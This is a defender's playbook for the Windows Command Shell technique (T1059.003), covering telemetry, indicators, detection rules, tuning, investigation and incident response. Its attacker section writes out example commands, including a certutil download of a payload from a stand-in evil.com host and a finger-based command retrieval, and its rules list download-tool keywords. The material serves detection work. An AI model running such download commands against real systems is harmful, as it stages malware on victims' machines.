| Technique | Windows Command Shell (T1059.003) |
| Tactic | Execution |
| Platforms | Windows |
Overview
Windows Command Shell (T1059.003) refers to adversary abuse of cmd.exe — the native Windows command interpreter — to execute commands, run batch scripts (.bat/.cmd files), and interact with nearly every layer of the operating system. Attackers use it to run reconnaissance commands, download payloads, establish persistence, move laterally, and proxy execution through other built-in utilities, all while blending into normal administrative traffic.
Because cmd.exe is present on every Windows system and is legitimately used by administrators, developers, and software installers, it is one of the most abused living-off-the-land techniques in the threat landscape. Without tuned detections, malicious cmd.exe activity disappears into the noise — making this a mandatory detection priority for any SOC defending Windows environments.
Attacker Perspective
Attackers abuse cmd.exe because it requires no additional tooling, is trusted by default, and can chain together multiple OS capabilities in a single line.
- Payload staging via certutil or bitsadmin:
cmd.exe /c certutil -urlcache -split -f http://evil.com/beacon.exe C:\Windows\Temp\b.exe— used to download second-stage malware without touching PowerShell, which is more heavily monitored. - Living-off-the-land reconnaissance: Threat actors chain commands like
cmd.exe /c whoami && net localgroup administrators && ipconfig /allimmediately after initial access to enumerate the environment before deploying further tools. - Batch script persistence and execution: Malware families such as Emotet and QakBot drop
.batfiles into%APPDATA%orC:\Windows\Temp\and execute them via scheduled tasks, usingcmd.exe /c start /b script.batto run them silently in the background. - Finger protocol C2 retrieval (ClickFix):
cmd.exe /c finger [email protected]— abuses the legacyfinger.exeutility to fetch remote commands from attacker-controlled infrastructure, bypassing web proxy controls that only inspect HTTP/S.
The technique is attractive precisely because it requires no elevated privileges for most commands, leaves minimal artifacts compared to compiled malware, and is nearly impossible to block outright without breaking legitimate operations.
Detection Strategy
Required Telemetry
- Process Creation Events (Event ID 4688): Enable via GPO: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Detailed Tracking → Audit Process Creation → Success. Critically, also enable command-line logging: GPO path Administrative Templates → System → Audit Process Creation → Include command line in process creation events, or registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = 1. Without this, Event ID 4688 will not capture the command-line arguments — detection is blind. - Sysmon Process Creation (Event ID 1): Deploy Sysmon with a community-vetted config (e.g., SwiftOnSecurity or Olaf Hartong’s modular config). Sysmon Event ID 1 captures
Image,CommandLine,ParentImage,ParentCommandLine,User,IntegrityLevel, andHashes— far richer than native 4688 and the preferred source for this detection. - Sysmon DNS Query Logging (Event ID 22): Required to detect tools like
finger.exemaking DNS lookups to C2 infrastructure. Enabled via Sysmon config with<DnsQuery onmatch="include">rules. CapturesImage,QueryName,QueryResults. - Sysmon Network Connection (Event ID 3): Captures outbound connections made by
cmd.exeor child processes. Enable with<NetworkConnect onmatch="include">. Fields:Image,DestinationIp,DestinationPort,Initiated. - Sysmon File Creation (Event ID 11): Detects payloads written to disk by command-shell activity. Capture writes to temp and public directories via Sysmon config targeting paths like
C:\Windows\Temp\,C:\Users\Public\, and%APPDATA%. - Windows Security Log — Logon Events (Event ID 4624, 4625): Enabled by default; used to correlate the user context under which
cmd.exeran and to identify anomalous logon types (e.g., Type 3 network logon followed by cmd execution). - Script Block Logging (Event ID 4104): While primarily for PowerShell, batch scripts that call PowerShell inline will be captured here. Enable via:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. - Scheduled Task Creation (Event ID 4698): Enable via Audit Other Object Access Events in Advanced Audit Policy. Detects persistence via tasks that invoke
cmd.exeor batch files.
Key Indicators
- Suspicious parent-child relationships: In Sysmon Event ID 1 or Windows Event ID 4688, look for
ParentImagevalues that should never spawncmd.exein production:winword.exe,excel.exe,outlook.exe,acrord32.exe,hh.exe,mshta.exe,wscript.exe,cscript.exe,java.exe,Hwp.exe. Any of these as a parent should be treated as high-priority until proven otherwise. - Encoded or obfuscated command lines: In
CommandLinefield, flag patterns likecmd /c echopiped to other commands, excessive use of^(caret escaping), environment variable substitution abuse like%COMSPEC%or%SystemRoot%\system32\cmd.exeused instead of the direct path, andcmd /v:on /cfor delayed variable expansion used in deobfuscation. - Execution from suspicious paths:
CommandLineorCurrentDirectorycontainingC:\Windows\Temp\,C:\Users\Public\,%APPDATA%\Local\Temp\,C:\ProgramData\. Legitimate software rarely executes batch files from these locations. - Certutil or bitsadmin used for downloads: In
CommandLine, flag:certutil -urlcache,certutil -decode,bitsadmin /transfer,bitsadmin /create. These are classic LOLBin download patterns chained withcmd.exe. - finger.exe DNS queries: In Sysmon Event ID 22,
Imageending with\finger.exemaking anyQueryNamelookup. The finger utility is effectively dead in legitimate enterprise use — any DNS activity from it is suspect. - HH.exe (HTML Help) spawning cmd:
ParentImageending in\hh.exewith childImageofcmd.exe, orhh.exeCommandLinereferencing paths like\Downloads\,\Temp\, or\Users\Public\. Used in CHM-based malware delivery. - Hwp.exe spawning unexpected children:
ParentImageending in\Hwp.exewithImageending in\gbb.exeor\cmd.exe— indicator of Hangul Word Processor exploitation used in targeted APT campaigns. - cmd.exe initiating network connections: In Sysmon Event ID 3,
ImageexactlyC:\Windows\System32\cmd.exewithInitiated = true. Cmd itself rarely makes direct network connections — this warrants immediate investigation. - Batch file dropped then executed: Sysmon Event ID 11 showing a
.bator.cmdfile created in a temp or user-writable path, followed within seconds by a process creation event (Event ID 1) whereCommandLinereferences that same file path.
Detection Logic
Rule 1 — Broad: cmd.exe spawned by an Office or document-rendering application
IF process.name = "cmd.exe" AND parent.process.name IN ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "acrord32.exe", "hh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "Hwp.exe") THEN alert HIGH
This catches the most common initial-access pattern: a user opens a malicious document or script file that launches a command shell. Expected volume is low in most environments (0–5 per day), but tuning will be needed to exclude specific software that legitimately uses these parent-child chains (e.g., some PDF forms launching cmd). This is your highest-value rule — prioritise it first.
Rule 2 — Targeted: cmd.exe command line contains known LOLBin download patterns
IF process.name = "cmd.exe" AND process.command_line CONTAINS_ANY ("certutil -urlcache", "certutil -decode", "bitsadmin /transfer", "bitsadmin /create", "finger ", "wget ", "curl ") THEN alert HIGH
Catches payload-staging activity where cmd.exe is used to invoke a download utility. False positive volume is low; legitimate certutil use by admins should be excluded by adding AND NOT user IN [known_admin_accounts] or AND NOT parent.process.name = "sccm.exe" for managed endpoints.
Rule 3 — Targeted: finger.exe makes any DNS query
IF dns.query.process.name ENDS_WITH "finger.exe" THEN alert HIGH
Directly implements the Sigma rule for ClickFix-style C2 retrieval. The finger protocol has no legitimate enterprise use case. False positive rate is effectively zero. This rule will fire rarely, but when it does it should be treated as confirmed malicious until proven otherwise.
Rule 4 — Precision: Batch file created in temp path, then executed within 60 seconds
IF file.path MATCHES ("*\Temp\*.bat", "*\Temp\*.cmd", "*\Public\*.bat", "*\Public\*.cmd") AND WITHIN 60 SECONDS process.command_line CONTAINS file.path THEN alert MEDIUM
Correlates Sysmon file creation (Event ID 11) with process execution (Event ID 1) to catch the write-then-execute pattern used by droppers. This requires event correlation in your SIEM. False positives include software installers that drop temp batch scripts — exclude known software hashes or parent processes like msiexec.exe for legitimate installers.
Tuning Guidance
- Software deployment tools: SCCM, Ansible, PDQ Deploy, and similar tools routinely spawn
cmd.exefor software installation and configuration. Exclude by addingAND NOT parent.process.name IN ("ccmexec.exe", "pdqdeploy.exe", "msiexec.exe")andAND NOT user IN [service_accounts_list]. Build this exclusion list from a 7-day baseline before going live. - IT administration scripts: System administrators running batch scripts from mapped drives or admin shares will generate noise. Identify admin workstations by hostname or IP subnet and apply a reduced-sensitivity threshold, or require the additional condition that the execution path is a temp/public directory.
- Software that uses HH.exe legitimately: Some enterprise applications (especially older ERP systems) open CHM help files via
hh.exe. Tune the HH.exe rule by adding exclusions forCommandLinepaths that match your known software install directories (e.g.,AND NOT CommandLine CONTAINS "C:\Program Files\VendorApp\"). - CI/CD build agents: Build servers (Jenkins, TeamCity, Azure DevOps agents) frequently spawn
cmd.exewith complex command lines, often from unusual parent processes. Exclude these hosts by hostname or IP, or create a separate lower-priority rule for them with additional context requirements. - certutil for certificate management: Some PKI and certificate management workflows legitimately use
certutil. If your environment does this, scope the certutil rule to only alert when the-urlcacheor-decodeflags are present alongside external URLs or Base64 content, rather than flagging allcertutilinvocations.
Community Sigma Rules — The following rules from the SigmaHQ community repository implement detection for this technique. Use Uncoder.io or pySigma to convert them to your SIEM’s query language.
When the Alert Fires: Investigation Steps
- Verify the raw event exists and is not a parsing artefact. Pull the original event directly from your log source (Sysmon Event ID 1 or Windows Event ID 4688) using the event’s record ID or timestamp. Confirm the
CommandLine,Image,ParentImage, andUserfields are fully populated — a missing command line means process creation audit policy is not capturing arguments and you need to fix telemetry before proceeding. - Identify the affected host and user account, and flag if privileged. Record the hostname, IP address, and domain from the event. Look up the user in your identity provider (Active Directory, Azure AD) to determine if they hold privileged roles (Domain Admin, local admin, service account). Privileged account involvement immediately escalates severity and changes your response timeline.
- Reconstruct the full process ancestry chain. In Sysmon or your EDR, pivot on the
ProcessGuidorProcessIdto walk up the parent chain: what spawnedcmd.exe, what spawned that, and so on. Look for the chain terminating at a browser, email client, or document application — this confirms a user-initiated execution path consistent with phishing or malicious document delivery. - Pull all child processes spawned by the suspicious cmd.exe instance. In Sysmon Event ID 1, filter on
ParentProcessGuidmatching the suspiciouscmd.exeinstance. Document every child process, its command line, and any files it created (Sysmon Event ID 11). Pay particular attention tocertutil,powershell,wscript,mshta,regsvr32, and any unsigned binaries written to temp directories. - Check for outbound network connections and DNS queries from the host. In Sysmon Event ID 3 and Event ID 22, filter on the timeframe ±5 minutes around the alert. Look for connections to external IPs on uncommon ports, DNS queries for newly registered or DGA-pattern domains, or any use of
finger.exemaking DNS lookups. Cross-reference destination IPs and domains against threat intelligence feeds (VirusTotal, Shodan, your TIP). - Search for persistence mechanisms added around the time of the alert. Query Sysmon Event ID 13 (registry value set) for changes to
HKCU\Software\Microsoft\Windows\CurrentVersion\Run,HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and service installation keys. Also check Windows Event ID 4698 (scheduled task created) and Sysmon Event ID 11 for files dropped into startup folders. Document any findings with full paths and timestamps. - Make the escalation decision based on the totality of evidence. If the investigation reveals only a known-good parent process, a path inside a legitimate software directory, and no network connections or dropped files, document and close as a false positive with a tuning recommendation. Escalate to a confirmed incident if you find any of: an external network connection, a dropped executable or script in a temp/public path, a new persistence mechanism, credential access activity (Event ID 4624 with unusual logon type), or any indication the user did not intentionally run the command.
Response Playbook
Containment
- Isolate the host from the network immediately, but leave it powered on. Use your EDR console (CrowdStrike Network Containment, Defender for Endpoint Isolate Device, Carbon Black quarantine) to cut network access while preserving volatile memory and running process state for forensic collection. Do not reboot — you will lose in-memory artefacts.
- Disable the affected user account. In Active Directory Users and Computers or via
Disable-ADAccount -Identity usernamein PowerShell, disable the account immediately. If the account is a service account, coordinate with the system owner before disabling to avoid breaking dependent services — document this decision either way. - Block identified C2 IPs and domains at the perimeter. Submit any external IPs or domains identified in network connections or DNS queries to your firewall team and DNS filtering platform (Cisco Umbrella, Zscaler, PAN-OS EDL) for immediate blocking. Also push a null-route or sinkhole entry in internal DNS for identified C2 domains.
- Kill any actively running malicious processes. If the host is not yet isolated or you have remote access via EDR, terminate the suspicious
cmd.exeinstance and any identified child processes by PID using your EDR’s remote remediation capability. Document each PID and process name before termination. - Revoke active sessions and tokens for the affected account. In Azure AD, use
Revoke-AzureADUserAllRefreshTokenor the Entra ID portal to invalidate all active sessions. For on-premises Kerberos, reset the account password to invalidate existing TGTs and force re-authentication.
Eradication
- Remove all identified persistence mechanisms. Delete any scheduled tasks created around the time of the incident (use
schtasks /delete /tn "TaskName" /for Event ID 4698 to identify them). Remove malicious registry Run keys identified during investigation. Stop and delete any malicious services registered by the attacker. - Find and delete all dropped payloads and scripts. Using your EDR’s file search or a forensic tool (Velociraptor, Kape), search the host for all files written to
C:\Windows\Temp\,C:\Users\Public\,%APPDATA%\Local\Temp\, andC:\ProgramData\within the incident timeframe. Hash each file against VirusTotal before deletion and retain copies in an isolated evidence store. - Reset credentials for all accounts that touched the compromised host. This includes the primary victim account, any accounts used in lateral movement, and any service accounts whose credentials may have been cached on the host. Use
Set-ADAccountPasswordand ensure the new password is communicated via an out-of-band channel. - Search lateral movement targets for the same IOCs. Pull the list of hosts the affected account authenticated to (Event ID 4624 with the affected username) in the 48 hours before and after the incident. Run the same file hash, registry, and scheduled task checks on each of those hosts using your EDR’s bulk query capability.
- Rotate any secrets or API keys that may have been exposed. If the compromised host had access to vaults, cloud credentials, certificates, or API keys (check browser credential stores, Windows Credential Manager, and application config files), rotate all of those secrets immediately and audit their usage logs for any suspicious activity.
Recovery
- Only reconnect the host to the network after confirming it is clean — re-image if confidence is low. If you found a sophisticated backdoor, rootkit-like behaviour, or cannot account for all attacker activity, do not attempt to clean in place. Re-image from a known-good baseline and restore data from pre-incident backups. Confirm the backup predates the initial compromise timestamp before restoring.
- Re-enable the user account only after verifying no persistence remains. Before re-enabling, run a final check on the host for scheduled tasks, run keys, and services. Brief the user on what happened and instruct them to report any unusual behaviour immediately after returning to the environment.
- Monitor the previously affected host and user account for 72 hours post-remediation. Create a temporary high-sensitivity watchlist in your SIEM for the affected hostname and username, alerting on any
cmd.exeexecution, new process creation from temp paths, or external network connections. Lower the threshold back to normal after 72 hours with no findings. - Document the full incident timeline and conduct a lessons-learned review. Write up a timeline from initial compromise to containment, including detection gaps (how long was the attacker present before detection?). Share the timeline with the broader team and use it to drive tuning improvements.
- Update detection rules based on new IOCs discovered during the investigation. Add any new file hashes, C2 domains, command-line patterns, or parent-child relationships discovered during the incident directly into your SIEM detection rules and threat intelligence platform. Convert them into Sigma rules so they can be shared across platforms and with the broader community.
Stay Ahead
Get daily threat intelligence and detection playbooks.
Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.